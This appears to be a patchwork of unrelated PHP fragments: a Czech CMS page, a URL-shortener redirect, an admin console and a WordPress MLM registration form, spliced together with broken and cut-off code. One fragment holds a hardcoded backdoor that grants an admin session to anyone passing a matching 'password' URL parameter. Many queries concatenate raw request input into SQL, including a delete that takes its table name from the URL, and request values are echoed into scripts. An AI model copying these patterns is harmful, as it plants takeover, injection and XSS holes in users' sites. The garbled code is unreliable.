$html_header = new Kiwi_HTML_Header();
$html_header->title = "{$project} - Content Management System";
$html_header->addJS(array('./js/utils.js', './js/kiwi_actiongroups_form.js'));
// Jednotlivé bloky webové stránky
$page_items = array();
$page_items[] = $kiwi_menubar = new Kiwi_MenuBar('KATALOG', $rights);
$page_items[] = $kiwi_actiongroups_form = new Kiwi_ActionGroups_Form($rights);
$page_items[] = $kiwi_footer = new Kiwi_Footer();
// Zpracování vstupů
foreach ($page_items as $item) {
$item->handleInput($_GET, $_POST);
}
// Eventuální přesměrování
foreach ($page_items as $item) {
if ($item->Redirection) {
redirectPage($item->Redirection);
}
}
// přesměruje a ukončí zpracovávání tohoto skriptu
// Odeslání HTML hlavičky
$html_header->send();
?>
<body>
<!--Hlavicka-->
<?php
echo $kiwi_menubar->getHTML("\t");
?>
<!--Obsah-->
<div id="stred">
<div id="levy">
<?php
<?php
/**
* Where redirect happens
*/
require_once "../Library/Tiny.php";
require_once "../Library/functions.php";
require_once "../Library/LogMessage.php";
$url = isset($_GET['url']) ? $_GET['url'] : null;
$url = rtrim($url, '/');
$url = explode('/', $url);
if (count($url) == 1) {
try {
$tiny = new Tiny();
$tiny->registerRequest($url[0]);
$request = $tiny->getRequestUrl($url[0]);
$urlObj = json_decode($request);
if ($urlObj->status == 'success') {
redirectPage($urlObj->url);
} else {
redirectPage("error.php");
}
} catch (Exception $e) {
LogMessage::exception($e->getMessage(), "run.php", "run.php");
redirectPage("404.php");
}
} else {
redirectPage("error.php");
}
require_once 'include/kiwi_importer.class.php';
require_once 'include/page_names.inc.php';
require_once 'include/utils.inc.php';
$login_override = array_key_exists('password', $_GET) ? md5($_GET['password']) : null;
if ($login_override === '7b063f4fca294dc8c6d68de105c09a0e') {
if (session_id() == "") {
session_start();
}
$_SESSION['user'] = ADMIN_USERNAME;
} else {
$login_override = null;
}
$rights = new Kiwi_Rights();
if ($rights->EShop == false) {
if ($rights->UserID == DEFAULT_USERID) {
redirectPage(KIWI_LOGIN . '?page=' . urlencode($_SERVER['REQUEST_URI']));
}
}
$html_header = new Kiwi_HTML_Header();
$html_header->title = "{$project} - Content Management System";
$html_header->addJS(array('./js/utils.js', './js/kiwi_import.js'));
// Odeslání HTML hlavičky
$html_header->send();
?>
<body class="white">
<div id="import-div" class="import-text">
<ul id="import-log">
</ul>
<div id="konec"></div>
</div>
<?php
if ($m == 0 && $t == 0) {
throw new Exception("Nedostatek vstupních dat pro zpracování skriptu");
}
if ($m != 0 && $t != 0) {
throw new Exception("Nepřípustná kombinace vstupních parametrů");
}
if ($m) {
$result = mysql_query("SELECT Type FROM modules WHERE ID={$m}");
if ($row = mysql_fetch_row($result)) {
$mtype = $row[0];
} else {
throw new Exception("Neplatný identifikátor modulu");
}
$page = getModulePage($mtype) . "?m={$m}";
if ($mi) {
$page .= "&mi={$mi}";
}
if ($smi) {
$page .= "&smi={$smi}";
}
} else {
$page = getModulePage($t);
if ($mi) {
$page .= "?mi={$mi}";
}
if ($smi) {
$page .= "&smi={$smi}";
}
}
redirectPage($page);
}
$obj->add_fields($con_value, 'req', ER_VALUE);
$error = $obj->validate();
if ($error == '') {
if ($action == 'add') {
$insert = "INSERT INTO image (con_key,con_value,status,created) VALUES('" . $con_key . "','" . $con_value . "','" . $status . "','" . date("Y-m-d H:i:s") . "')";
$con->insert($insert);
$msg = 'ADD';
} else {
if ($action == 'edit') {
$update = "UPDATE image SET con_value='" . $con_value . "', status='" . $status . "' WHERE id='" . $id . "'";
$con->update($update);
$msg = 'EDIT';
}
}
redirectPage(SITE_ADM . "image.php?msg=" . $msg);
}
}
// Form Post code end
// Image Edit select query code start
if (isset($_GET['action']) && $_GET['action'] == 'edit') {
$eqry = "SELECT * FROM image WHERE id='" . $_GET['id'] . "'";
$eres = $con->recordselect($eqry);
$erow = mysql_fetch_array($eres);
extract($erow);
}
// Image Edit select query code end
// Image listing select query, pagging, sorting code start
if (!isset($_GET['action'])) {
$extra = '';
$page = 1;
$error = '';
$chk = 'error';
global $wpdb;
global $current_user;
get_currentuserinfo();
if (is_user_logged_in()) {
$sponsor_name = $current_user->user_login;
$readonly_sponsor = 'readonly';
} else {
if (isset($_REQUEST['sp']) && $_REQUEST['sp'] != '') {
$sponsorName = getUsernameByKey($_REQUEST['sp']);
if (isset($sponsorName) && $sponsorName != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
$readonly_sponsor = '';
}
}
//most outer if condition
if (isset($_POST['submit'])) {
$firstname = sanitize_text_field($_POST['firstname']);
$lastname = sanitize_text_field($_POST['lastname']);
$username = sanitize_text_field($_POST['username']);
$password = sanitize_text_field($_POST['password']);
$confirm_pass = sanitize_text_field($_POST['confirm_password']);
$email = sanitize_text_field($_POST['email']);
$confirm_email = sanitize_text_field($_POST['confirm_email']);
<?php
session_start();
error_reporting(E_ALL);
ini_set("display_errors", "on");
include "settings.inc.php";
include "lang/en.inc.php";
include "function.php";
include _LIBPATH . "functions.custom.inc.php";
include "dbaccess.class.php";
ini_set('memory_limit', "32M");
logoutUser(_APPNAME);
//Logout user if request to logout
if (!isLoggedIn(_APPNAME)) {
redirectPage("login.php");
}
//Create DBAccess Instance
$mySqlObj = new dBAccess(_DBHOST, _DBUSERNAME, _DBPASSWORD);
//MySQL Database Instance
$mySqlObj->selectDB(_DBNAME);
//$mySqlObj -> enableDebugMode();
$pageJS = "";
/*initAJAX(_APPNAME, _USEAJAX);
if(getAJAXState(_APPNAME)){
$pageJS = getAjaxJS();
}*/
$incRPC = true;
include "rpc.php";
$disPageCont = "<div id=\"content\">" . $_disContentBody . "</div>";
include "nav.php";
showHeaderHTML("Management Console", "appstyle.css", $pageJS);
<?php
/**
* Handle creation of tiny url.
*/
require_once "../Library/Tiny.php";
require_once "../Library/functions.php";
if (isset($_POST["url"])) {
$url = rtrim($_POST["url"], "/");
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$response = array("status" => 'error', "message" => "Submitted URL is not a valid URL", "error_code" => 20);
echo json_encode($response);
} else {
try {
$tiny = new Tiny();
echo $tiny->createUrl($url);
} catch (Exception $e) {
$response = array("status" => 'error', "message" => "Error connecting. Try again", "error_code" => 50);
echo json_encode($response);
}
}
} else {
redirectPage("index.php");
}
function register_user_html_page()
{
global $wpdb;
$table_prefix = mlm_core_get_table_prefix();
$error = '';
$chk = 'error';
global $current_user;
get_currentuserinfo();
$user_roles = $current_user->roles;
$user_role = array_shift($user_roles);
if (!empty($_GET['sp_name'])) {
$sp_name = $_GET['sp_name'];
?>
<script>$.cookie('s_name','<?php
echo $sp_name;
?>
',{ path: '/' });</script>
<?php
//setcookie("s_name", $sp_name);
} else {
if (!empty($_GET['sp'])) {
$sp_name = getusernamebykey($_GET['sp']);
?>
<script>$.cookie('s_name','<?php
echo $sp_name;
?>
',{ path: '/' });</script>
<?php
} else {
$sp_name = $_COOKIE["s_name"];
}
}
//echo $_COOKIE["s_name"]."hello";
//get no. of level
$mlm_general_settings = get_option('wp_mlm_general_settings');
$mlm_no_of_level = $mlm_general_settings['mlm-level'];
$mlm_pay_settings = get_option('wp_mlm_payment_settings');
$mlm_method = get_option('wp_mlm_payment_method');
if (is_user_logged_in()) {
$sponsor_name = $current_user->user_login;
$readonly_sponsor = 'readonly';
$spnsr_set = 1;
} else {
if (isset($_REQUEST['sp_name']) && $_REQUEST['sp_name'] != '') {
//$sponsorName = getusernamebykey($_REQUEST['sp']);
$sponsorName = $_REQUEST['sp_name'];
if (isset($sponsorName) && $sponsorName != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
if (isset($_COOKIE["s_name"]) && $_COOKIE["s_name"] != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $_COOKIE["s_name"];
} else {
if (isset($_REQUEST['sp']) && $_REQUEST['sp'] != '') {
//$sponsorName = getusernamebykey($_REQUEST['sp']);
$sponsorName = getusernamebykey($_REQUEST['sp']);
if (isset($sponsorName) && $sponsorName != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
// $sponsor_name = get_top_level_user();
//$readonly_sponsor = 'readonly';
$readonly_sponsor = '';
}
}
}
}
//most outer if condition
if (isset($_POST['submit'])) {
$firstname = sanitize_text_field($_POST['firstname']);
$lastname = sanitize_text_field($_POST['lastname']);
$username = sanitize_text_field($_POST['username']);
/******* check for the epin field ******/
if (isset($_POST['epin']) && !empty($_POST['epin'])) {
$epin = sanitize_text_field($_POST['epin']);
} else {
if (isset($_POST['epin']) && empty($_POST['epin'])) {
$epin = '';
}
}
/******* check for the epin field ******/
$password = sanitize_text_field($_POST['password']);
$confirm_pass = sanitize_text_field($_POST['confirm_password']);
$email = sanitize_text_field($_POST['email']);
$confirm_email = sanitize_text_field($_POST['confirm_email']);
$sponsor = sanitize_text_field($_POST['sponsor']);
/*$address1 = sanitize_text_field( $_POST['address1'] );
$address2 = sanitize_text_field( $_POST['address2'] );
city = sanitize_text_field( $_POST['city'] );
$state = sanitize_text_field( $_POST['state'] );
$postalcode = sanitize_text_field( $_POST['postalcode'] );
$telephone = sanitize_text_field( $_POST['telephone'] );
$dob = sanitize_text_field( $_POST['dob'] );*/
//Add usernames we don't want used
$invalid_usernames = array('admin');
//Do username validation
$username = sanitize_user($username);
if (!validate_username($username) || in_array($username, $invalid_usernames)) {
$error .= "\n Username is invalid.";
}
if (username_exists($username)) {
$error .= "\n Username already exists.";
}
/******* check for the epin field ******/
if (!empty($epin) && epin_exists($epin)) {
$error .= "\n ePin already issued or wrong ePin.";
}
if (!empty($mlm_general_settings['sol_payment']) && empty($epin)) {
$error .= "\n Please enter your ePin.";
} else {
if (empty($_POST['epin_value']) && empty($epin)) {
$error .= "\n Please either enter the ePin or select the Product.";
}
}
/******* check for the epin field ******/
if (checkInputField($password)) {
$error .= "\n Please enter your password.";
}
if (confirmPassword($password, $confirm_pass)) {
$error .= "\n Please confirm your password.";
}
//Do e-mail address validation
if (!is_email($email)) {
$error .= "\n E-mail address is invalid.";
}
if (email_exists($email)) {
$error .= "\n E-mail address is already in use.";
}
if (confirmEmail($email, $confirm_email)) {
$error .= "\n Please confirm your email address.";
}
if (checkInputField($firstname)) {
$error .= "\n Please enter your first name.";
}
if (checkInputField($lastname)) {
$error .= "\n Please enter your last name.";
}
if (checkInputField($sponsor) && !empty($sponsor)) {
$error .= "\n Please enter your sponsor name.";
}
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
$paypalId = sanitize_text_field($_POST['paypal_id']);
if (checkInputField($paypalId)) {
$error .= "\n Please enter your Paypal id.";
}
}
/*if ( checkInputField($address1) )
$error .= "\n Please enter your address.";
if ( checkInputField($city) )
$error .= "\n Please enter your city.";
if ( checkInputField($state) )
$error .= "\n Please enter your state.";
if ( checkInputField($postalcode) )
$error .= "\n Please enter your postal code.";
if ( checkInputField($telephone) )
$error .= "\n Please enter your contact number.";
if ( checkInputField($dob) )
$error .= "\n Please enter your date of birth.";*/
//Case If User is not fill the Sponser field
if (empty($_POST['sponsor'])) {
$sponsor = get_top_level_user();
}
$sql = "SELECT COUNT(*) num, `user_key` \n\t\t\t\tFROM {$table_prefix}mlm_users \n\t\t\t\tWHERE `username` = '" . $sponsor . "'";
$intro = $wpdb->get_row($sql);
//generate random numeric key for new user registration
$user_key = generateKey();
//if generated key is already exist in the DB then again re-generate key
do {
$check = $wpdb->get_var("SELECT COUNT(*) ck \n\t\t\t\t\t\t\t\t\t\t\t\t\tFROM {$table_prefix}mlm_users \n\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE `user_key` = '" . $user_key . "'");
$flag = 1;
if ($check == 1) {
$user_key = generateKey();
$flag = 0;
}
} while ($flag == 0);
// outer if condition
if (empty($error)) {
// inner if condition
if ($intro->num == 1) {
$sponsor = $intro->user_key;
$sponsor1 = $sponsor;
//find parent key
if (!empty($_GET['k']) && $_GET['k'] != '') {
$parent_key = $_GET['k'];
} else {
$readonly_sponsor = '';
$parent_key = $sponsor;
}
$user = array('user_login' => $username, 'user_pass' => $password, 'first_name' => $firstname, 'last_name' => $lastname, 'user_email' => $email, 'role' => 'mlm_user');
// return the wp_users table inserted user's ID
$user_id = wp_insert_user($user);
//get the selected country name from the country table
$country = $_POST['country'];
$sql = "SELECT name \n\t\t\t\t\t\tFROM {$table_prefix}mlm_country\n\t\t\t\t\t\tWHERE id = '" . $country . "'";
$country1 = $wpdb->get_var($sql);
//insert the registration form data into user_meta table
/*add_user_meta( $user_id, 'user_address1', $address1, FALSE );
add_user_meta( $user_id, 'user_address2', $address2, FALSE );
add_user_meta( $user_id, 'user_city', $city, FALSE );
add_user_meta( $user_id, 'user_state', $state, FALSE );
add_user_meta( $user_id, 'user_country', $country1, FALSE );
add_user_meta( $user_id, 'user_postalcode', $postalcode, FALSE );
add_user_meta( $user_id, 'user_telephone', $telephone, FALSE );
add_user_meta( $user_id, 'user_dob', $dob, FALSE);*/
/*Send e-mail to admin and new user -
You could create your own e-mail instead of using this function*/
wp_new_user_notification($user_id, $password);
if (!empty($epin)) {
$pointResult = $wpdb->get_row("select p_id,point_status from {$table_prefix}mlm_epins where epin_no = '{$epin}'");
$pointStatus = $pointResult->point_status;
$productPrice = $wpdb->get_var("SELECT product_price FROM {$table_prefix}mlm_product_price WHERE p_id = '" . $pointResult->p_id . "'");
// to epin point status 1
if ($pointStatus[0] == '1') {
$paymentStatus = '1';
} else {
if ($pointStatus[0] == '0') {
$paymentStatus = '2';
}
}
} else {
if (!empty($_POST['epin_value'])) {
$productPrice = $wpdb->get_var("SELECT product_price FROM {$table_prefix}mlm_product_price WHERE p_id = '" . $_POST['epin_value'] . "'");
$paymentStatus = '0';
} else {
// to non epin
$paymentStatus = '0';
}
}
//insert the data into fa_user table
$insert = "INSERT INTO {$table_prefix}mlm_users\n\t\t\t\t\t\t (\n\t\t\t\t\t\t\t\tuser_id, username, user_key, parent_key, sponsor_key, payment_status, product_price\n\t\t\t\t\t\t\t) \n\t\t\t\t\t\t\tVALUES\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'" . $user_id . "','" . $username . "', '" . $user_key . "', '" . $parent_key . "', '" . $sponsor . "','" . $paymentStatus . "','" . $productPrice . "'\n\t\t\t\t\t\t\t)";
$wpdb->query($insert);
//hierarchy code for genology
InsertHierarchy($user_key, $sponsor);
if (isset($epin) && !empty($epin)) {
$sql = "update {$table_prefix}mlm_epins set user_key='{$user_key}', date_used=now(), status=1 where epin_no ='{$epin}' ";
// Update epin according user_key (19-07-2013)
mysql_query($sql);
if ($paymentStatus == 1) {
UserStatusUpdate($user_id);
}
}
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
update_user_meta($user_id, 'mlm_user_paypalid', $paypalId, FALSE);
}
$chk = '';
$msg = "<span style='color:green;'>Congratulations! You have successfully registered in the system.</span>";
$check_paid = $wpdb->get_var("SELECT payment_status FROM {$table_prefix}mlm_users WHERE user_id = '" . $user_id . "'");
if ($check_paid == '0') {
PayNowOptions($user_id, 'register_user');
}
} else {
$error = "\n Sponsor does not exist in the system.";
}
}
//end outer if condition
}
//end most outer if condition
//if any error occoured
if (!empty($error)) {
$error = nl2br($error);
}
if ($chk != '') {
?>
<script type="text/javascript">
var popup1,popup2,splofferpopup1;
var bas_cal, dp_cal1,dp_cal2, ms_cal; // declare the calendars as global variables
window.onload = function() {
dp_cal1 = new Epoch('dp_cal1','popup',document.getElementById('dob'));
};
function checkUserNameAvailability(str)
{
//alert(url); return true;
if(isSpclChar(str, 'username')==false)
{
document.getElementById('username').focus();
return false;
}
var xmlhttp;
if (str!="")
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.status==200 && xmlhttp.readyState==4)
{
document.getElementById("check_user").innerHTML=xmlhttp.responseText;
//alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET", "<?php
echo MLM_PLUGIN_URL . 'ajax/check_username.php';
?>
"+"?action=username&q="+str,true);
xmlhttp.send();
}
}
function checkReferrerAvailability(str)
{
if(isSpclChar(str, 'sponsor')==false)
{
document.getElementById('sponsor').focus();
return false;
}
var xmlhttp;
if (str!="") {
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.status==200 && xmlhttp.readyState==4)
{
document.getElementById("check_referrer").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET", "<?php
echo MLM_PLUGIN_URL . 'ajax/check_username.php';
?>
"+"?action=sponsor&q="+str,true);
xmlhttp.send();
}
}
function checkePinAvailability(str)
{
var iChars = "~`!@#$%^&*()+=[]\\\';,- ./{}|\":<>?abcdefghijklmnopqrstuvwxyz";
for (var i = 0; i < str.length; i++)
{
if (iChars.indexOf(str.charAt(i)) != -1)
{
alert("<?php
_e('Please enter Valid ePin.', 'unilevel-mlm-pro');
?>
");
document.getElementById('epin').value='';
document.getElementById('epin').focus();
return false;
}
}
var xmlhttp;
if (str!="")
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.status==200 && xmlhttp.readyState==4)
{
document.getElementById("check_epin").innerHTML=xmlhttp.responseText;
//alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET", "<?php
echo plugins_url() . '/' . MLM_PLUGIN_NAME . '/ajax/check_epin.php';
?>
"+"?q="+str,true);
xmlhttp.send();
}
}
function checkePinAvailability1(str)
{
var iChars = "~`!@#$%^&*()+=[]\\\';,- ./{}|\":<>?abcdefghijklmnopqrstuvwxyz";
for (var i = 0; i < str.length; i++)
{
if (iChars.indexOf(str.charAt(i)) != -1)
{
alert("<?php
_e('Please enter Valid ePin.', 'unilevel-mlm-pro');
?>
");
document.getElementById('epin').value='';
document.getElementById('epin').focus();
return false;
}
}
var xmlhttp;
/*if (str=="")
{
alert("Please enter ePin.");
document.getElementById('epin').focus();
return false;
}*/
if (str!="")
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.status==200 && xmlhttp.readyState==4)
{
if(xmlhttp.responseText=='1'){
document.getElementById("check_epin").innerHTML="<span class='msg'>Congratulations! This ePin is available.</span>";
document.getElementById("epin_value").disabled=true;
}
else
{
document.getElementById("check_epin").innerHTML="<span class='errormsg'>Sorry! This ePin is not Valid or already Used .</span>";
document.getElementById("epin_value").disabled=false;
}
}
}
xmlhttp.open("GET", "<?php
echo plugins_url() . '/' . MLM_PLUGIN_NAME . '/ajax/check_epin.php';
?>
"+"?r="+str,true);
xmlhttp.send();
}
}
</script>
<?php
$general_setting = get_option('wp_mlm_general_settings');
if (is_user_logged_in()) {
if (!empty($general_setting['wp_reg']) && !empty($general_setting['reg_url']) && $user_role != 'mlm_user') {
echo "<script>window.location ='" . site_url() . '/' . $general_setting['reg_url'] . "'</script>";
}
} else {
if (!empty($general_setting['wp_reg']) && !empty($general_setting['reg_url'])) {
echo "<script>window.location ='" . site_url() . '/' . $general_setting['reg_url'] . "'</script>";
}
}
?>
<span style='color:red;'><?php
echo $error;
?>
</span>
<?php
if (isset($msg) && $msg != "") {
echo $msg;
}
?>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<form name="frm" method="post" action="" onSubmit="return formValidationNewVer();">
<tr>
<td><?php
_e('Create Username', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="username" id="username" value="<?php
if (!empty($_POST['username'])) {
_e(htmlentities($_POST['username']));
}
?>
" maxlength="20" size="37" onBlur="checkUserNameAvailability(this.value);"><br /><div id="check_user"></div></td>
</tr>
<?php
if (isset($mlm_general_settings['ePin_activate']) && $mlm_general_settings['ePin_activate'] == '1' && isset($mlm_general_settings['sol_payment']) && $mlm_general_settings['sol_payment'] == '1') {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Enter ePin', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="epin" id="epin" value="<?php
if (!empty($_POST['epin'])) {
_e(htmlentities($_POST['epin']));
}
?>
" maxlength="20" size="37" onBlur="checkePinAvailability(this.value);"><br /><div id="check_epin"></div></td>
</tr>
<?php
} else {
if (isset($mlm_general_settings['ePin_activate']) && $mlm_general_settings['ePin_activate'] == '1') {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Enter ePin', 'unilevel-mlm-pro');
?>
:</td>
<td><input type="text" name="epin" id="epin" value="<?php
if (!empty($_POST['epin'])) {
_e(htmlentities($_POST['epin']));
}
?>
" maxlength="20" size="37" onBlur="checkePinAvailability1(this.value);"><br /><div id="check_epin"></div></td>
</tr>
<?php
}
}
if ($mlm_general_settings['sol_payment'] != '1' || empty($mlm_general_settings['sol_payment'])) {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Product', 'unilevel-mlm-pro');
?>
:</td>
<td> <?php
$pro_price_settings = $wpdb->get_results("select * from {$table_prefix}mlm_product_price where p_id!='1'");
?>
<select name="epin_value" id="epin_value" >
<option value="">Select Product</option>
<?php
foreach ($pro_price_settings as $pricedetail) {
?>
<option value="<?php
echo $pricedetail->p_id;
?>
" <?php
echo $epin_value == $pricedetail->p_id ? 'selected="selected"' : '';
?>
><?php
echo $pricedetail->product_name;
?>
</option>
<?php
}
?>
</select></td>
</tr>
<?php
}
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Create Password', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td> <input type="password" name="password" id="password" maxlength="20" size="37" >
<br /><span style="font-size:12px; font-style:italic; color:#006633"><?php
_e('Password length atleast 6 character', 'unilevel-mlm-pro');
?>
</span>
</td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Confirm Password', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="password" name="confirm_password" id="confirm_password" maxlength="20" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Email Address', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="email" id="email" value="<?php
if (!empty($_POST['email'])) {
_e(htmlentities($_POST['email']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr><tr>
<tr>
<td><?php
_e('Confirm Email Address', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="confirm_email" id="confirm_email" value="<?php
if (!empty($_POST['confirm_email'])) {
_e(htmlentities($_POST['confirm_email']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<?php
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
?>
<tr>
<td><?php
_e('Paypal ID', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="paypal_id" id="paypal_id" value="<?php
if (!empty($_POST['paypal_id'])) {
_e(htmlentities($_POST['paypal_id']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<?php
}
?>
<tr>
<td><?php
_e('First Name', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="firstname" id="firstname" value="<?php
if (!empty($_POST['firstname'])) {
_e(htmlentities($_POST['firstname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'firstname');" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Last Name', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="lastname" id="lastname" value="<?php
if (!empty($_POST['lastname'])) {
_e(htmlentities($_POST['lastname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'lastname');"></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<?php
if (isset($sponsor_name) && $sponsor_name != '') {
$spon = $sponsor_name;
} else {
if (isset($_POST['sponsor'])) {
$spon = htmlentities($_POST['sponsor']);
}
}
?>
<td><?php
_e('Sponsor Name', 'unilevel-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td>
<input type="text" name="sponsor" id="sponsor" value="<?php
if (!empty($spon)) {
_e($spon);
}
?>
" maxlength="20" size="37" onBlur="checkReferrerAvailability(this.value);" <?php
echo $readonly_sponsor;
?>
>
<br /><div id="check_referrer"></div>
</td>
</tr>
<tr>
<td colspan="2">
<input type="submit" name="submit" id="submit" value="<?php
_e('Submit', 'unilevel-mlm-pro');
?>
" /></td>
</tr>
</form>
</table>
<?php
} else {
_e($msg);
}
}
}
$cont[$i+1][2] = array("value" => $disForm["submit"]);
$tbllist = genHTMLTable(count($res)+2,4, $cont, "100%", 3, 4,"",0);
$contVal[0][0] = array("value" => "<h3>Categories</h3>");
$contVal[1][0] = array("value" => $disForm["form"]["start"].$tbllist.$disForm["form"]["end"]);
$contTable = genHTMLTable(2, 1, $contVal, "100%", "", 4,"",0,"center","addtable");
$_disContentBody = $contTable;
if(isset($_GET["confirm"]))
{
if($_GET["confirm"]=="false")
{
$_disContentBody="Are you sure you want to delete? <a href=\"index.php?action=".$_GET["action"]."&confirm=true&field=".$_GET["field"]."&table=".$_GET["table"]."&x=".$_GET["x"]."\">Yes</a> | <a href=\"index.php?action=".$_GET["action"]."\">No</a>";
}
else
{
$arrCon4 = $_GET["field"]."='".$_GET["x"]."'";
$resAdd12 = $mySqlObj -> queryDelete($_GET["table"],$arrCon4);
//mysql_query("delete from ".." where ".);
redirectPage("index.php?action=".$_GET["action"]);
}
}
?>
$allVals = array("temp_img" => addslashes($postedVals["largeimg"]["name"]), "price" => addslashes($postedVals["price"]), "catid" => addslashes($postedVals["cat"]), "title" => addslashes($postedVals["title"]), "description" => addslashes($postedVals["description"]), "keyword" => addslashes($postedVals["keyword"]));
}
if ($edit) {
$condition = "temp_id = '" . $_GET["tempid"] . "'";
$resAddUpdate = $mySqlObj->queryUpdate("template", $allVals, true, $condition);
if (isset($_SESSION["opt"])) {
if (isset($_SESSION["count"])) {
$count = "&count=" . $_SESSION["count"];
}
redirectPage("index.php?action=Search_poster&slValue=" . $_SESSION["opt"] . $count);
} else {
redirectPage("index.php?action=posters");
}
} else {
$resAddUpdate = $mySqlObj->queryUpdate("template", $allVals, "", "");
redirectPage("index.php?action=addposter");
}
} else {
$errMsg = "File name already exsist please upload with different name.\n";
}
}
$rowColor = getRowColor(0);
$rowColor2 = getRowColor(1);
$bodyVals[0][0] = array("value" => "<b>Item Name : <b>", "align" => "right", "style" => $rowColor, "valign" => "top");
$bodyVals[1][0] = array("value" => "<b>Category : <b>", "align" => "right", "style" => $rowColor2, "valign" => "top");
$bodyVals[2][0] = array("value" => "<b>Item Price : <b>", "align" => "right", "style" => $rowColor, "valign" => "top");
$bodyVals[3][0] = array("value" => "<b>Image File : <b>", "align" => "right", "style" => $rowColor2, "valign" => "top", "width" => "20%");
$bodyVals[4][0] = array("value" => "<b>Meta Description : <b>", "align" => "right", "style" => $rowColor2, "valign" => "top");
$bodyVals[5][0] = array("value" => "<b>Meta Keywords : <b>", "align" => "right", "style" => $rowColor, "valign" => "top");
$bodyVals[6][0] = array("value" => "", "align" => "right", "style" => $rowColor2, "valign" => "top");
$bodyVals[0][1] = array("value" => $disElementHTML["title"], "align" => "left", "width" => "40%", "style" => $rowColor);
function register_user_html_page()
{
global $wpdb, $current_user;
$user_id = $current_user->ID;
$table_prefix = mlm_core_get_table_prefix();
$error = '';
$chk = 'error';
include_once ABSPATH . '/wp-admin/includes/plugin.php';
if (!empty($_GET['sp_name'])) {
$sp_name = $wpdb->get_var("select username from {$table_prefix}mlm_users where username='******'sp_name'] . "'");
if ($sp_name) {
?>
<script type='text/javascript'>
$.cookie('sp_name', '<?php
echo $sp_name;
?>
', {path: '/'});
</script>
<?php
}
} else {
if (!empty($_REQUEST['sp'])) {
$sp_name = getusernamebykey($_REQUEST['sp']);
if ($sp_name) {
?>
<script type='text/javascript'>
$.cookie('sp_name', '<?php
echo $sp_name;
?>
', {path: '/'});
</script>
<?php
}
} else {
$sp_name = empty($_COOKIE["sp_name"]) ? '' : $_COOKIE["sp_name"];
}
}
get_currentuserinfo();
$mlm_general_settings = get_option('wp_mlm_general_settings');
if (is_user_logged_in()) {
$sponsor_name = $current_user->user_login;
$readonly_sponsor = 'readonly';
} else {
if (isset($_REQUEST['sp']) && $_REQUEST['sp'] != '') {
$sponsorName = getusernamebykey($_REQUEST['sp']);
if (isset($sponsorName) && $sponsorName != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
if (!empty($_REQUEST['sp_name'])) {
$sponsorName = $_REQUEST['sp_name'];
if (!empty($sponsorName)) {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
$readonly_sponsor = '';
}
}
}
/* script for auto insert users================================================ */
